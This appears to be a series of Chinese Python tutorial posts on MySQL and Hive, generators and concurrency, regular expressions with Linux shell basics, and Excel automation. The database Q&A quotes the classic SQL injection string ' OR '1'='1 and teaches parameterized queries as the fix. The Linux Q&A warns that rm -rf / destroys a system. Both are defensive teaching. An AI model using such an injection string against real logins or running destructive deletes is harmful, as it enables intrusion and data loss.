type	访问类型，性能：system > const > eq_ref > ref > range > index > ALL
key	实际使用的索引
rows	预估扫描行数（越少越好）
Extra	Using index（覆盖索引，好）/ Using filesort（需优化）

索引使用注意事项

✅ 该建索引的场景：
- WHERE、JOIN、ORDER BY、GROUP BY 频繁用到的列
- 区分度高的列（如用户名、订单号）
- 复合索引遵循"最左前缀"原则

❌ 索引失效的场景：
- 对索引列做运算/函数：WHERE YEAR(created_at)=2026（改用范围）
- 隐式类型转换：WHERE phone = 138xxx（phone 是字符串却传数字）
- LIKE '%xxx' 以通配符开头
- 复合索引不满足最左前缀
- OR 连接非索引列

八、Python 接入 MySQL

pip install pymysql        # 或 mysql-connector-python

import pymysql

# 1. 创建连接
conn = pymysql.connect(
    host="localhost",
    port=3306,
    user="root",
    password="your_password",      # 生产用环境变量
    database="shop",
    charset="utf8mb4",
    cursorclass=pymysql.cursors.DictCursor,   # 结果返回字典
)

try:
    # 2. 获取游标
    with conn.cursor() as cursor:
        # 3. 执行 SQL（用参数化查询防 SQL 注入！）
        sql = "SELECT * FROM users WHERE age > %s"
        cursor.execute(sql, (18,))          # 参数用元组，%s 占位

        # 4. 抓取数据
        rows = cursor.fetchall()            # 取全部
        # one = cursor.fetchone()           # 取一条
        # many = cursor.fetchmany(10)       # 取多条
        for row in rows:
            print(row["username"], row["age"])

        # 增删改需要提交事务
        cursor.execute(
            "INSERT INTO users (username, age) VALUES (%s, %s)",
            ("new_user", 20),
        )
        conn.commit()                       # 提交
except Exception as e:
    conn.rollback()                         # 出错回滚
    print(f"数据库错误：{e}")
finally:
    conn.close()                            # 释放连接

[!WARNING] 绝不要用字符串拼接 SQL（f"SELECT * FROM users WHERE name='{name}'"）！这会导致 SQL 注入攻击。永远用 %s 占位符 + 参数元组，让驱动做转义。

编写 ETL 脚本

# ETL：Extract（提取）→ Transform（转换）→ Load（加载）
def etl_example():
    # Extract：从源库读取
    with conn.cursor() as cursor:
        cursor.execute("SELECT id, username, balance FROM users")
        rows = cursor.fetchall()

    # Transform：清洗转换
    cleaned = [
        {"id": r["id"], "name": r["username"].strip().upper(),
         "level": "VIP" if r["balance"] > 1000 else "普通"}
        for r in rows if r["balance"] is not None
    ]

    # Load：写入目标表
    with conn.cursor() as cursor:
        cursor.executemany(
            "INSERT INTO user_summary (id, name, level) VALUES (%s,%s,%s)",
            [(c["id"], c["name"], c["level"]) for c in cleaned],
        )
        conn.commit()

九、Hive 入门（大数据）

Hive 是建立在 Hadoop 上的数据仓库工具，用类 SQL（HQL）查询 HDFS 上的海量数据。

-- Hive 适合离线大数据分析（TB/PB 级），不适合在线事务

-- 建表
CREATE TABLE logs (
    user_id INT,
    action STRING,
    ts TIMESTAMP
)
PARTITIONED BY (dt STRING);        -- 按日期分区（重要优化）

-- 加载数据
LOAD DATA INPATH '/data/logs' INTO TABLE logs PARTITION (dt='2026-09-18');

-- 查询（和 MySQL 语法基本一致）
SELECT user_id, COUNT(*) AS cnt
FROM logs
WHERE dt = '2026-09-18'            -- 分区过滤，避免全表扫描
GROUP BY user_id;

-- 性能优化要点：
-- 1. 分区裁剪：WHERE 带上分区字段
-- 2. 只选需要的列（列式存储 ORC/Parquet）
-- 3. 小表用 MAP JOIN
-- 4. 避免 COUNT(DISTINCT)，改用 GROUP BY 后计数

常见问题 Q&A

Q1：MySQL 和 Hive 的区别？ A：MySQL 是 OLTP（在线事务处理），面向业务系统，毫秒级响应，数据量 GB 级；Hive 是 OLAP（在线分析处理），面向数据仓库，分钟级响应，数据量 TB/PB 级，用于离线分析。

Q2：为什么金额字段要用 DECIMAL 不用 FLOAT？ A：FLOAT/DOUBLE 是二进制浮点，有精度误差（0.1 + 0.2 != 0.3）。金额必须用 DECIMAL(M,D) 精确定点数，避免"少一分钱"的账务问题。

Q3：DELETE、TRUNCATE、DROP 区别？ A：DELETE 删行（可带 WHERE，可回滚，DML）；TRUNCATE 清空整表（不可回滚，重置自增，DDL）；DROP 删表结构+数据（表都没了）。

Q4：什么是 SQL 注入？怎么防？ A：把用户输入拼进 SQL，攻击者可输入 ' OR '1'='1 绕过验证。防护：永远用参数化查询（%s 占位符），不要字符串拼接；输入校验；最小权限。

Q5：WHERE 和 HAVING 到底怎么选？ A：过滤行（分组前）用 WHERE；过滤组（分组后，含聚合函数如 COUNT(*)>10）用 HAVING。能用 WHERE 提前过滤就别放到 HAVING，性能更好。

Q6：复合索引 (a, b, c) 怎么用才生效？ A：遵循最左前缀原则。WHERE a=?、WHERE a=? AND b=?、WHERE a=? AND b=? AND c=? 能用；但 WHERE b=?（跳过 a）用不上。范围查询（>、<、LIKE）后的列也用不上索引。

Q7：连接池有什么用？ A：频繁创建/销毁数据库连接开销大。连接池（如 DBUtils、SQLAlchemy）预先建好一批连接复用，大幅提升性能。生产环境必用连接池，ORM（SQLAlchemy/Django ORM）通常自带。

复习卡片

[!TIP] 数据库速记

SQL 四类：DDL（建改删表 CREATE/ALTER/DROP）、DML（增删改 INSERT/UPDATE/DELETE）、DQL（查询 SELECT）、DCL（权限 GRANT/REVOKE）

查询顺序：FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT

WHERE vs HAVING：分组前过滤行用 WHERE，分组后过滤组用 HAVING

JOIN：INNER（交集）、LEFT（左全）、RIGHT（右全）；ON 写连接条件

窗口函数：ROW_NUMBER/RANK/DENSE_RANK OVER(PARTITION BY ... ORDER BY ...)，不合并行

索引：B+ 树，加速读拖慢写；最左前缀；EXPLAIN 看执行计划

索引失效：列上运算/函数、隐式类型转换、LIKE '%x'、不满足最左前缀

Python 接入：pymysql，游标 execute + %s 参数化，事务 commit/rollback

防注入：永远参数化查询，不拼接 SQL

Hive：离线大数据分析，分区裁剪是关键优化

[!TIP] 下一篇：Django 入门将进入 Web 开发，讲解 Django 框架快速上手、ORM 模型与 CRUD、静态资源与 Ajax、Cookie 和 Session、报表日志以及中间件的应用。

返回 Python 学习路线总览 | 合集页

Python 语言进阶

Fri, 18 Sep 2026 04:30:00 GMT

[!NOTE] 本文对应仓库 Day31~35（语言进阶 + Web 前端入门）：数据结构与算法、迭代器与生成器、并发编程。这些是从"能用 Python"到"用好 Python"的分水岭，尤其并发编程是后端/爬虫的核心能力。

一、数据结构与算法基础

常见数据结构

结构	Python 实现	特点	典型操作复杂度
数组/列表	`list`	有序、可变、按索引	索引 O(1)，插入/删除 O(n)
栈	`list` / `collections.deque`	后进先出 LIFO	push/pop O(1)
队列	`collections.deque`	先进先出 FIFO	两端 O(1)
哈希表	`dict` / `set`	键值映射、去重	查找/插入 O(1)
链表	需自己实现	插入删除快	查找 O(n)
堆	`heapq`	优先队列	取最值 O(1)，插入 O(log n)

from collections import deque, Counter, defaultdict
import heapq

# 栈（用 list）
stack = []
stack.append(1)        # 入栈
stack.pop()            # 出栈（末尾）

# 队列（用 deque，两端操作都是 O(1)）
queue = deque()
queue.append(1)        # 入队（右）
queue.popleft()        # 出队（左）

# 堆（优先队列）
heap = []
heapq.heappush(heap, 3)
heapq.heappush(heap, 1)
print(heapq.heappop(heap))    # 1（总是弹出最小值）

# defaultdict（带默认值的字典）
d = defaultdict(list)
d["key"].append(1)            # 不用先判断 key 是否存在

常见算法

# 冒泡排序（O(n²)，教学用）
def bubble_sort(arr):
    n = len(arr)
    for i in range(n):
        for j in range(0, n-i-1):
            if arr[j] > arr[j+1]:
                arr[j], arr[j+1] = arr[j+1], arr[j]
    return arr

# 二分查找（O(log n)，要求有序）
def binary_search(arr, target):
    left, right = 0, len(arr) - 1
    while left <= right:
        mid = (left + right) // 2
        if arr[mid] == target:
            return mid
        elif arr[mid] < target:
            left = mid + 1
        else:
            right = mid - 1
    return -1

# 实际开发直接用内置（Timsort，O(n log n)）
sorted([3, 1, 2])          # 排序
[3,1,2].sort()
import bisect
bisect.bisect_left([1,2,3], 2)   # 二分查找位置

时间复杂度速查

O(1)     常数      字典/集合查找、列表索引
O(log n) 对数      二分查找
O(n)     线性      遍历列表
O(n log n) 线性对数  高效排序（快排/归并/Timsort）
O(n²)    平方      双重循环、冒泡排序

二、迭代器与生成器

可迭代对象与迭代器

# 可迭代对象（Iterable）：实现 __iter__，能被 for 遍历
# 迭代器（Iterator）：实现 __iter__ 和 __next__，能被 next() 取值

nums = [1, 2, 3]
it = iter(nums)              # 获取迭代器
print(next(it))              # 1
print(next(it))              # 2
print(next(it))              # 3
# print(next(it))            # StopIteration 异常

# 自定义迭代器类
class Countdown:
    def __init__(self, start):
        self.start = start
    def __iter__(self):
        return self
    def __next__(self):
        if self.start <= 0:
            raise StopIteration
        self.start -= 1
        return self.start + 1

for n in Countdown(3):
    print(n)                 # 3 2 1

生成器（Generator）

生成器是一种惰性求值的迭代器，用 yield 关键字，能按需产生数据、节省内存，处理大数据流的神器。

# 生成器函数：含 yield，调用不立即执行，返回生成器对象
def countdown(n):
    while n > 0:
        yield n              # 每次 yield 暂停并返回值
        n -= 1

gen = countdown(3)
print(next(gen))             # 1 次执行到第一个 yield → 3
print(next(gen))             # 从上次暂停处继续 → 2

for n in countdown(3):
    print(n)                 # 3 2 1

# 生成器表达式（把列表推导式的 [] 换成 ()）
squares_list = [x**2 for x in range(1000000)]   # 立即生成，占内存
squares_gen = (x**2 for x in range(1000000))    # 惰性，几乎不占内存
print(sum(x**2 for x in range(100)))            # 直接用在聚合里

[!NOTE] 列表推导式 vs 生成器表达式：[x for x in ...] 一次性生成所有元素存内存；(x for x in ...) 惰性生成，用多少算多少。数据量大或只需遍历一次时，用生成器省内存。

无限序列与管道

# 生成器可以表示无限序列（列表不行）
def fib():
    a, b = 0, 1
    while True:              # 无限，但惰性，不会撑爆内存
        yield a
        a, b = b, a + b

# 取前 10 个
import itertools
print(list(itertools.islice(fib(), 10)))   # [0,1,1,2,3,5,8,13,21,34]

# 生成器管道（流式处理，逐条流过）
def read_lines(path):
    with open(path) as f:
        for line in f:
            yield line.strip()

def filter_errors(lines):
    for line in lines:
        if "ERROR" in line:
            yield line

# 组合成管道，内存中永远只有一条数据
# errors = filter_errors(read_lines("big.log"))

itertools 常用工具

import itertools

# 计数 / 循环
itertools.count(10, 2)          # 10,12,14... 无限
itertools.cycle("AB")           # A,B,A,B... 无限

# 组合
list(itertools.permutations([1,2,3], 2))   # 排列
list(itertools.combinations([1,2,3], 2))   # 组合 [(1,2),(1,3),(2,3)]
list(itertools.product([1,2], "ab"))       # 笛卡尔积

# 链接 / 分组
list(itertools.chain([1,2], [3,4]))        # [1,2,3,4]
list(itertools.accumulate([1,2,3,4]))      # 累加 [1,3,6,10]

三、并发编程

GIL 与三种并发方式的选择

[!WARNING] Python 有 GIL（全局解释器锁）：同一时刻只有一个线程执行 Python 字节码。所以多线程无法利用多核做 CPU 密集计算。这是选型的关键。

场景	推荐方式	原因
CPU 密集（计算、图像处理）	多进程 multiprocessing	绕过 GIL，利用多核
IO 密集（网络、文件、数据库）	多线程 / 异步 IO	IO 等待时释放 GIL
海量并发 IO（上万连接）	异步 IO asyncio	单线程高并发，开销小

多线程（threading）

import threading
import time

def task(name):
    print(f"{name} 开始")
    time.sleep(2)              # 模拟 IO
    print(f"{name} 结束")

# 创建并启动线程
t1 = threading.Thread(target=task, args=("线程1",))
t2 = threading.Thread(target=task, args=("线程2",))
t1.start()
t2.start()
t1.join()                      # 等待线程结束
t2.join()

# 线程池（推荐，管理更方便）
from concurrent.futures import ThreadPoolExecutor

def download(url):
    time.sleep(1)
    return f"{url} 完成"

with ThreadPoolExecutor(max_workers=5) as pool:
    results = pool.map(download, ["url1", "url2", "url3"])
    print(list(results))

# 线程安全：用锁保护共享数据
lock = threading.Lock()
counter = 0
def increment():
    global counter
    with lock:                 # 加锁，防止竞态
        counter += 1

多进程（multiprocessing）

from multiprocessing import Pool, cpu_count
import time

# CPU 密集任务，用多进程真正并行
def heavy_compute(n):
    return sum(i * i for i in range(n))

if __name__ == "__main__":     # Windows 下多进程必须放在这里！
    with Pool(processes=cpu_count()) as pool:
        results = pool.map(heavy_compute, [10**6] * 4)
    print(results)

[!WARNING] Windows 下多进程代码必须放在 if __name__ == "__main__": 里，否则子进程会无限递归导入主模块导致报错。

异步 IO（asyncio）

import asyncio

# async def 定义协程，await 等待异步操作
async def fetch(name, seconds):
    print(f"{name} 开始")
    await asyncio.sleep(seconds)      # 非阻塞等待
    print(f"{name} 完成")
    return name

async def main():
    # 并发执行多个协程
    tasks = [
        fetch("A", 2),
        fetch("B", 1),
        fetch("C", 3),
    ]
    results = await asyncio.gather(*tasks)   # 一起跑，总耗时≈最长的那个(3s)
    print(results)

asyncio.run(main())            # 启动事件循环

# 配合 aiohttp 做异步网络请求（爬虫高并发）
# import aiohttp
# async def get(url):
#     async with aiohttp.ClientSession() as session:
#         async with session.get(url) as resp:
#             return await resp.text()

三种方式对比

多线程：
  - 适合 IO 密集，共享内存，开销中等
  - 受 GIL 限制，CPU 密集无效
  - 注意线程安全（锁）

多进程：
  - 适合 CPU 密集，真正并行，进程隔离
  - 开销大（进程创建 + 数据传递）
  - 进程间通信较复杂

异步 IO：
  - 适合海量 IO 并发，单线程，开销极小
  - 需要 async/await 语法 + 异步库支持
  - 一处阻塞会拖垮整个事件循环

四、Web 前端入门（概览）

后端开发者也需要了解前端基础，才能做全栈或前后端分离。

<!-- HTML：承载页面内容（结构） -->
<!DOCTYPE html>
<html>
<head>
    <title>标题</title>
    <link rel="stylesheet" href="style.css">   <!-- CSS -->
</head>
<body>
    <h1 id="title">Hello</h1>
    <button onclick="sayHi()">点击</button>
    <script src="app.js"></script>             <!-- JavaScript -->
</body>
</html>

/* CSS：渲染页面（样式） */
#title {
    color: blue;
    font-size: 24px;
}

// JavaScript：处理交互行为（行为）
function sayHi() {
    alert("Hi!");
}
// 用 fetch 调用后端 API
fetch("/api/data")
    .then(res => res.json())
    .then(data => console.log(data));

[!NOTE] 前端三剑客：HTML（结构）、CSS（样式）、JavaScript（行为）。现代开发常用 Vue.js / React 框架 + Element/Ant Design 等 UI 组件库。Python 后端做前后端分离时，通常用 DRF 提供 JSON API，前端用 Vue/React 渲染。详见 Day53（前后端分离）。

常见问题 Q&A

Q1：生成器和普通函数最大的区别？ A：普通函数 return 后结束、一次性返回全部结果；生成器用 yield，每次调用 next() 执行到 yield 就暂停并保留状态，下次从暂停处继续。它是惰性的，省内存，能表示无限序列。

Q2：GIL 到底是什么？能去掉吗？ A：GIL 是 CPython 的全局解释器锁，保证同一时刻只有一个线程执行 Python 字节码，简化了内存管理但限制了多线程并行。CPython 无法去掉（可用 Jython 无 GIL，但生态差）。绕过方法：CPU 密集用多进程，或用 C 扩展/Numba 在计算时释放 GIL。（注：Python 3.13+ 正在试验无 GIL 的 free-threaded 模式）

Q3：多线程在 Python 里就没用了吗？ A：不是。IO 密集（网络请求、文件读写、数据库）场景多线程非常有效，因为 IO 等待时会释放 GIL。只是 CPU 密集计算多线程无法加速，那要用多进程。

Q4：asyncio 和多线程怎么选？ A：并发量小（几十上百）用多线程更简单；海量并发 IO（上千上万连接，如爬虫）用 asyncio，单线程就能扛，开销远小于线程。但异步需要全链路用异步库（aiohttp 而非 requests）。

Q5：迭代器、生成器、可迭代对象的关系？ A：可迭代对象（Iterable，有 __iter__）能被 for 遍历；迭代器（Iterator，有 __iter__ 和 __next__）能被 next() 取值；生成器是一种特殊的迭代器（用 yield 或生成器表达式创建），写法最简洁。生成器一定是迭代器，迭代器一定可迭代。

Q6：yield 和 return 能共存吗？ A：能。函数里只要有 yield 它就是生成器函数。return 在生成器里表示提前结束迭代（可带值，会被 StopIteration 携带），但不会像普通函数那样返回值给调用者。

复习卡片

[!TIP] 本篇速记

数据结构：栈/队列用 deque，堆用 heapq，计数用 Counter，默认字典 defaultdict

复杂度：字典/集合查找 O(1)，二分 O(log n)，遍历 O(n)，高效排序 O(n log n)

迭代器协议：__iter__ + __next__，结束抛 StopIteration

生成器：yield 惰性求值、省内存、可无限；(x for x in ...) 是生成器表达式

GIL：同一时刻只一个线程跑字节码 → CPU 密集用多进程，IO 密集用多线程/异步

多线程：ThreadPoolExecutor + pool.map，共享数据加 Lock

多进程：multiprocessing.Pool，Windows 必须放 if __name__=="__main__"

异步：async def + await，asyncio.gather 并发，asyncio.run 启动

前端三剑客：HTML 结构 + CSS 样式 + JS 行为，框架用 Vue/React

itertools：chain/product/combinations/islice/accumulate 高效迭代工具

[!TIP] 下一篇：数据库与 MySQL 将讲解关系型数据库、SQL 四大类（DDL/DML/DQL/DCL）、索引原理与优化、Python 接入 MySQL，以及 Hive 大数据查询入门。

返回 Python 学习路线总览 | 合集页

正则表达式与 Linux

Fri, 18 Sep 2026 04:00:00 GMT

[!NOTE] 本文对应仓库 Day30（正则表达式）和 Day33（玩转 Linux）。正则是文本处理的利器（爬虫、数据清洗必备），Linux 是后端/运维的操作系统基础。两者都是 Python 开发者的必修课。

第一部分：正则表达式

一、正则语法基础

正则表达式（Regular Expression）是用来匹配字符串模式的强大工具。

元字符与字符类

符号	含义	示例
`.`	任意单个字符（除换行）	`a.c` 匹配 abc、aXc
`\d`	数字 [0-9]	`\d\d` 匹配 12
`\D`	非数字	-
`\w`	单词字符 [a-zA-Z0-9_]	-
`\W`	非单词字符	-
`\s`	空白（空格/制表/换行）	-
`\S`	非空白	-
`[abc]`	字符集，匹配其中之一	`[aeiou]` 匹配元音
`[^abc]`	取反，不匹配集合内	-
`[a-z]`	范围	-

量词（重复次数）

符号	含义
`*`	0 次或多次
`+`	1 次或多次
`?`	0 次或 1 次
`{n}`	恰好 n 次
`{n,}`	至少 n 次
`{n,m}`	n 到 m 次

位置锚点与分组

符号	含义
`^`	字符串开头
`$`	字符串结尾
`\b`	单词边界
`()`	分组（捕获）
`(?:)`	非捕获分组
`\|`	或（a\|b）
`\`	转义（`\\.` 匹配点号）

[!NOTE] 贪婪 vs 非贪婪：量词默认贪婪（尽量多匹配），加 ? 变非贪婪（尽量少匹配）。如 <.+> 匹配整个 <a><b>，而 <.+?> 分别匹配 <a> 和 <b>。

二、Python re 模块

import re

# match：从字符串开头匹配
m = re.match(r"\d+", "123abc")
print(m.group() if m else None)     # 123

# search：搜索整个字符串，返回第一个匹配
m = re.search(r"\d+", "abc123def")
print(m.group())                    # 123

# findall：返回所有匹配的列表
nums = re.findall(r"\d+", "a1b22c333")
print(nums)                         # ['1', '22', '333']

# finditer：返回迭代器（大量匹配时更省内存）
for m in re.finditer(r"\d+", "a1b2"):
    print(m.group(), m.span())      # 1 (1,2)  2 (3,4)

# sub：替换
result = re.sub(r"\d+", "#", "a1b2")
print(result)                       # a#b#

# subn：替换并返回次数
result, count = re.subn(r"\d", "#", "a1b2")   # ('a#b#', 2)

# split：按模式拆分
parts = re.split(r"[,\s]+", "a, b   c,d")
print(parts)                        # ['a', 'b', 'c', 'd']

# compile：预编译（重复使用同一模式时更高效）
pattern = re.compile(r"\d+")
print(pattern.findall("1a2b3"))     # ['1', '2', '3']

分组提取

# 用 () 分组，group(n) 取第 n 组
text = "2026-09-18"
m = re.match(r"(\d{4})-(\d{2})-(\d{2})", text)
print(m.group())      # 2026-09-18（整体，group(0)）
print(m.group(1))     # 2026（年）
print(m.group(2))     # 09（月）
print(m.groups())     # ('2026', '09', '18')

# 命名分组 (?P<name>...)
m = re.match(r"(?P<year>\d{4})-(?P<month>\d{2})", text)
print(m.group("year"))       # 2026
print(m.groupdict())         # {'year': '2026', 'month': '09'}

常用标志（flags）

re.IGNORECASE  # re.I  忽略大小写
re.MULTILINE   # re.M  多行模式（^ $ 匹配每行）
re.DOTALL      # re.S  让 . 也匹配换行
re.VERBOSE     # re.X  允许正则中写注释和空白

# 用法
re.findall(r"python", text, re.IGNORECASE)

三、正则实战例子

例1：输入验证

import re

def is_valid_phone(s):
    """中国大陆手机号：1 开头，第二位 3-9，共 11 位"""
    return bool(re.fullmatch(r"1[3-9]\d{9}", s))

def is_valid_email(s):
    """邮箱"""
    return bool(re.fullmatch(r"[\w.-]+@[\w-]+(\.[\w-]+)+", s))

def is_valid_id_card(s):
    """18 位身份证（最后一位可能是 X）"""
    return bool(re.fullmatch(r"\d{17}[\dXx]", s))

def is_strong_password(s):
    """强密码：至少 8 位，含大小写字母和数字"""
    return bool(re.fullmatch(r"(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}", s))

print(is_valid_phone("13800138000"))    # True
print(is_valid_email("a@b.com"))        # True

[!TIP] fullmatch 要求整个字符串完全匹配；match 只要求开头匹配；search 找任意位置。做输入验证优先用 fullmatch。

例2：内容提取

# 从 HTML 提取所有链接
html = '<a href="http://a.com">A</a><a href="http://b.com">B</a>'
links = re.findall(r'href="(.*?)"', html)
print(links)     # ['http://a.com', 'http://b.com']

# 从日志提取 IP 和时间
log = '192.168.1.1 - - [18/Sep/2026:10:00:00] "GET /index"'
m = re.search(r"(\d+\.\d+\.\d+\.\d+).*?\[(.*?)\]", log)
if m:
    print(m.group(1), m.group(2))    # 192.168.1.1  18/Sep/2026:10:00:00

例3：内容替换（脱敏）

# 手机号中间四位脱敏
phone = "联系电话 13800138000"
safe = re.sub(r"(1[3-9]\d)\d{4}(\d{4})", r"\1****\2", phone)
print(safe)     # 联系电话 138****8000

# 用函数做替换（更灵活）
def double(m):
    return str(int(m.group()) * 2)
result = re.sub(r"\d+", double, "a1b2c3")   # a2b4c6

例4：长句拆分

# 按多种标点拆分句子
text = "你好。今天天气不错！我们去公园吧？好啊,走。"
sentences = re.split(r"[。！？，,]+", text)
print([s for s in sentences if s])   # 过滤空串
# ['你好', '今天天气不错', '我们去公园吧', '好啊', '走']

第二部分：玩转 Linux

四、Linux 基础命令

文件与目录操作

pwd                     # 显示当前目录
ls -l                   # 详细列出文件（-a 显示隐藏，-h 人类可读大小）
cd /home                # 切换目录（cd ~ 回家目录，cd - 回上一个）

mkdir project           # 创建目录（mkdir -p a/b/c 递归创建）
touch file.txt          # 创建空文件
cp src dst              # 复制（cp -r 目录递归复制）
mv old new              # 移动/重命名
rm file                 # 删除（rm -r 目录，rm -f 强制，慎用 rm -rf）

cat file                # 查看全部内容
head -n 20 file         # 看前 20 行
tail -n 20 file         # 看后 20 行（tail -f 实时跟踪日志）
less file               # 分页查看（q 退出）
wc -l file              # 统计行数

查找与文本处理

find /path -name "*.py"              # 按名字查找文件
find . -type f -mtime -1             # 找 1 天内修改的文件
grep "error" app.log                 # 在文件中搜索文本
grep -r "TODO" ./src                 # 递归搜索目录
grep -i "error" log                  # 忽略大小写
grep -n "pattern" file               # 显示行号

# 管道组合（Linux 精髓）
ps aux | grep python                 # 找 python 进程
cat access.log | grep 404 | wc -l    # 统计 404 次数
ls -l | sort -k5 -n                  # 按文件大小排序

进程与权限

ps aux                  # 查看所有进程
top                     # 实时进程监控（htop 更好用）
kill -9 PID             # 强制杀进程
killall python          # 按名字杀

chmod 755 file          # 改权限（r=4 w=2 x=1，755=rwxr-xr-x）
chmod +x script.sh      # 加执行权限
chown user:group file   # 改属主

权限数字速记

r(读)=4  w(写)=2  x(执行)=1
755 = rwx(7) r-x(5) r-x(5) = 属主全权，组和其他读+执行
644 = rw-(6) r--(4) r--(4) = 属主读写，其他只读（常见文件权限）
600 = rw-(6) ---(0) ---(0) = 仅属主读写（密钥文件）

五、文件系统

/               根目录
├── /home       普通用户家目录
├── /root       超级用户家目录
├── /etc        系统配置文件
├── /var        可变数据（/var/log 日志、/var/www 网站）
├── /usr        用户程序和资源
├── /bin        基本命令
├── /tmp        临时文件
├── /opt        第三方软件
└── /proc       系统信息（虚拟文件系统）

# 绝对路径 vs 相对路径
cd /var/www/blog        # 绝对路径（从 / 开始）
cd ./src                # 相对路径（. 当前，.. 上级）

# 磁盘与挂载
df -h                   # 查看磁盘使用
du -sh /var/www         # 查看目录大小
mount /dev/sdb1 /mnt    # 挂载

六、Vim 编辑器

Vim 三种模式：
- 普通模式（Normal）：打开即是，用于移动/删除/复制
- 插入模式（Insert）：按 i 进入，编辑文本，按 Esc 退出
- 命令模式（Command）：按 : 进入，执行命令

常用操作：
i        进入插入模式
Esc      回到普通模式
:w       保存
:q       退出
:wq      保存并退出
:q!      不保存强制退出
dd       删除当前行
yy       复制当前行
p        粘贴
u        撤销
/word    搜索
:n       跳到第 n 行

七、环境变量与 Shell 编程

环境变量

echo $PATH              # 查看 PATH
export MY_VAR="hello"   # 设置环境变量（当前会话）
env                     # 查看所有环境变量

# 永久生效：写入 ~/.bashrc 或 ~/.zshrc
echo 'export PATH=$PATH:/my/bin' >> ~/.bashrc
source ~/.bashrc        # 重新加载

Shell 脚本基础

#!/bin/bash
# 保存到 script.sh，chmod +x script.sh，./script.sh 运行

# 变量（无类型，$ 引用）
name="Ethan"
echo "Hello, $name"
echo "当前时间：$(date)"      # 命令替换

# 接收参数
echo "脚本名：$0"
echo "第一个参数：$1"
echo "参数个数：$#"
echo "所有参数：$@"

# 条件判断
if [ -f "file.txt" ]; then        # -f 文件存在，-d 目录，-z 空串
    echo "文件存在"
else
    echo "文件不存在"
fi

# 循环
for i in 1 2 3; do
    echo "数字 $i"
done

for file in *.py; do
    echo "找到 $file"
done

count=0
while [ $count -lt 3 ]; do        # -lt 小于, -gt 大于, -eq 等于
    echo $count
    count=$((count + 1))
done

# 函数
greet() {
    echo "Hello, $1"
}
greet "World"

八、软件安装与网络

# 包管理（Debian/Ubuntu）
sudo apt update                # 更新软件源
sudo apt install python3       # 安装
sudo apt remove python3        # 卸载

# CentOS/RHEL 用 yum / dnf
sudo yum install nginx

# 网络命令
ping baidu.com                 # 测试连通
curl -I https://example.com    # 查看 HTTP 头
wget https://example.com/f.zip # 下载文件
netstat -tlnp                  # 查看监听端口（或 ss -tlnp）
ssh user@host                  # 远程登录
scp file user@host:/path       # 远程复制

常见问题 Q&A

Q1：match、search、findall、fullmatch 区别？ A：match 从头匹配（不匹配开头就失败）；search 全文找第一个；findall 找全部返回列表；fullmatch 要求整个字符串完全匹配。验证输入用 fullmatch，提取用 search/findall。

Q2：正则里为什么要写 r"..."（原始字符串）？ A：因为正则大量使用反斜杠（\d、\s），而 Python 字符串里 \ 是转义符。加 r 前缀让 \ 不被 Python 转义，直接传给正则引擎。不写 r 就得写 \\d，很麻烦。

Q3：\d+ 和 \d+? 区别？ A：\d+ 贪婪（尽量多匹配数字），\d+? 非贪婪（尽量少匹配，只匹配 1 个）。提取 HTML 标签、成对分隔符时常用非贪婪。

Q4：Linux 下 rm -rf 为什么危险？ A：-r 递归删目录，-f 强制不提示。rm -rf / 会删整个系统。生产环境操作前务必确认路径，别在变量为空时 rm -rf $VAR/。

Q5：Shell 里 [ ] 判断为什么两边要空格？ A：[ 本身是个命令（等价 test），] 是它的参数，命令和参数之间必须有空格。[ -f file ] 对，[-f file] 错。

Q6：chmod 755 和 chmod +x 有何区别？ A：+x 只是加执行权限（保留其他）；755 是精确设置所有权限位（属主 rwx、组 r-x、其他 r-x）。脚本一般 chmod +x，部署产物常设 755。

复习卡片

[!TIP] 本篇速记

正则

字符类：\d 数字 \w 单词 \s 空白 . 任意 [abc] 集 [^abc] 反

量词：*0+ +1+ ?0/1 {n,m}n到m，加 ? 变非贪婪

锚点：^ 开头 $ 结尾 \b 词边界

re 方法：match(头) search(首个) findall(全部) sub(替换) split(拆) fullmatch(全匹配)

分组：() 捕获 group(n)，(?P<名>) 命名分组

用 r"..." 原始字符串写正则

Linux 7. 文件：ls/cd/pwd/cp/mv/rm/mkdir/touch/cat/head/tail/grep/find 8. 权限：chmod 755（rwx=7/5/4）、chown；644 文件、755 目录/脚本、600 密钥 9. 进程：ps aux、top、kill -9 10. 管道 | 组合命令是精髓 11. Shell：$1 参数、if [ -f x ]、for/while、#!/bin/bash

[!TIP] 下一篇：Python 语言进阶将讲解数据结构与算法基础、迭代器与生成器、并发编程（多线程/多进程/异步 IO），以及 Web 前端入门知识。

返回 Python 学习路线总览 | 合集页

办公自动化与图像处理

Fri, 18 Sep 2026 03:30:00 GMT

[!NOTE] 本文对应仓库 Day24~29：用 Python 处理 Office 文档（Excel/Word/PPT）、PDF、图像，以及发送邮件短信。这是 Python "胶水语言" 优势最直观的体现——把重复的办公工作自动化。

常用库一览

任务	库	安装
Excel (.xlsx)	openpyxl	`pip install openpyxl`
Word (.docx)	python-docx	`pip install python-docx`
PPT (.pptx)	python-pptx	`pip install python-pptx`
PDF	PyPDF / pdfplumber	`pip install pypdf`
图像	Pillow	`pip install Pillow`
邮件	smtplib（标准库）	内置

一、Excel 处理（openpyxl）

读 Excel

from openpyxl import load_workbook

wb = load_workbook("data.xlsx")           # 加载工作簿
ws = wb.active                            # 当前活动工作表
# ws = wb["Sheet1"]                        # 或按名字取

# 读单元格（两种定位方式）
print(ws["A1"].value)                     # 坐标方式
print(ws.cell(row=1, column=1).value)     # 行列方式（1-based）

# 遍历所有行
for row in ws.iter_rows(values_only=True):
    print(row)                            # 每行是一个元组

# 维度信息
print(ws.max_row, ws.max_column)          # 最大行/列

写 Excel

from openpyxl import Workbook

wb = Workbook()                # 新建工作簿
ws = wb.active
ws.title = "成绩单"

# 写表头
ws.append(["姓名", "语文", "数学", "总分"])

# 写数据行
data = [["Ethan", 90, 95], ["Tom", 85, 88]]
for row in data:
    ws.append(row + [row[1] + row[2]])    # 追加总分

# 直接写单元格
ws["A1"] = "姓名"
ws.cell(row=2, column=2, value=90)

# 用公式
ws["D2"] = "=B2+C2"

wb.save("output.xlsx")         # 保存

调整样式

from openpyxl.styles import Font, Alignment, PatternFill, Border, Side

cell = ws["A1"]
cell.font = Font(name="Arial", size=14, bold=True, color="FF0000")
cell.alignment = Alignment(horizontal="center", vertical="center")
cell.fill = PatternFill(start_color="FFFF00", end_color="FFFF00", fill_type="solid")

# 边框
thin = Side(border_style="thin", color="000000")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)

